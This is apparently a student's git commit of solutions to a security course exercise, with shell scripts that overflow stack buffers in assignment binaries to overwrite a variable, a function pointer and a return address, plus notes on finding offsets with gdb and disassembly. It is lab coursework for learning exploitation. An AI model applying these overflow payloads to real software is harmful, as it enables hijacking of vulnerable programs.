feat: sheet 7 task 1 a-c

This commit is contained in:
Unbreathable
2026-06-10 14:04:35 +02:00
parent 0b2b9741d3
commit 91bd5ab2ee
7 changed files with 33 additions and 0 deletions

1
.gitignore vendored
View File

@@ -5,3 +5,4 @@ passwd
sheet04/AuthWithTOTP.java
sheet04/key-exchange.pcap
sheet06/a2/assign*
sheet07/a1/assign*

2
sheet07/a1/stack-a.sh Executable file
View File

@@ -0,0 +1,2 @@
NUMBER=$(printf "\x74\x69\x6E\x49")
ENV_VAR="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" "./assignment1a"

3
sheet07/a1/stack-a.txt Normal file
View File

@@ -0,0 +1,3 @@
I just injected the same thing into the Environment Variable as for the 2d task on the last worksheet. This works the exact same way here.
128 characters of 'A' to be put into the buffer and after that all of the bytes for the number we want to put into the variable.

2
sheet07/a1/stack-b.sh Executable file
View File

@@ -0,0 +1,2 @@
NUMBER=$(printf "\xDE\x11\x40")
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" | ./assignment1b

3
sheet07/a1/stack-b.txt Normal file
View File

@@ -0,0 +1,3 @@
I went into gdb with the file using `gdb -q assignment1b`. After doing `print success`, I found that 0x4011de is the pointer for the function.
I then created a script similar to 1d and just changed the number we inserted into the variable before into the function pointer. And that worked.

2
sheet07/a1/stack-c.sh Executable file
View File

@@ -0,0 +1,2 @@
NUMBER=$(printf "\x46\x11\x40")
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER" | ./assignment1c

20
sheet07/a1/stack-c.txt Normal file
View File

@@ -0,0 +1,20 @@
After some Google and asking Mr. GPT I found out that the return address is usually stored at the allocated stack size + 8 bytes on x86. So I disassembled assignment1c and found the following assembly code:
0x0000000000401168 <+0>: push %rbp
0x0000000000401169 <+1>: mov %rsp,%rbp
0x000000000040116c <+4>: sub $0x90,%rsp
0x0000000000401173 <+11>: lea -0x90(%rbp),%rax
0x000000000040117a <+18>: mov %rax,%rdi
0x000000000040117d <+21>: call 0x401040 <gets@plt>
0x0000000000401182 <+26>: mov 0x8(%rbp),%rax
0x0000000000401186 <+30>: mov %rax,-0x8(%rbp)
0x000000000040118a <+34>: mov -0x8(%rbp),%rax
0x000000000040118e <+38>: lea 0xe7b(%rip),%rdx # 0x402010
0x0000000000401195 <+45>: mov %rax,%rsi
0x0000000000401198 <+48>: mov %rdx,%rdi
0x000000000040119b <+51>: mov $0x0,%eax
0x00000000004011a0 <+56>: call 0x401030 <printf@plt>
0x00000000004011a5 <+61>: nop
0x00000000004011a6 <+62>: leave
What we can see here is that with lea we allocate a size of 0x90 = 144 bytes. So with 144 + 8 being 152, I have to write 152 'A' characters and then put in my return address. So that's how the stack-c.sh file works.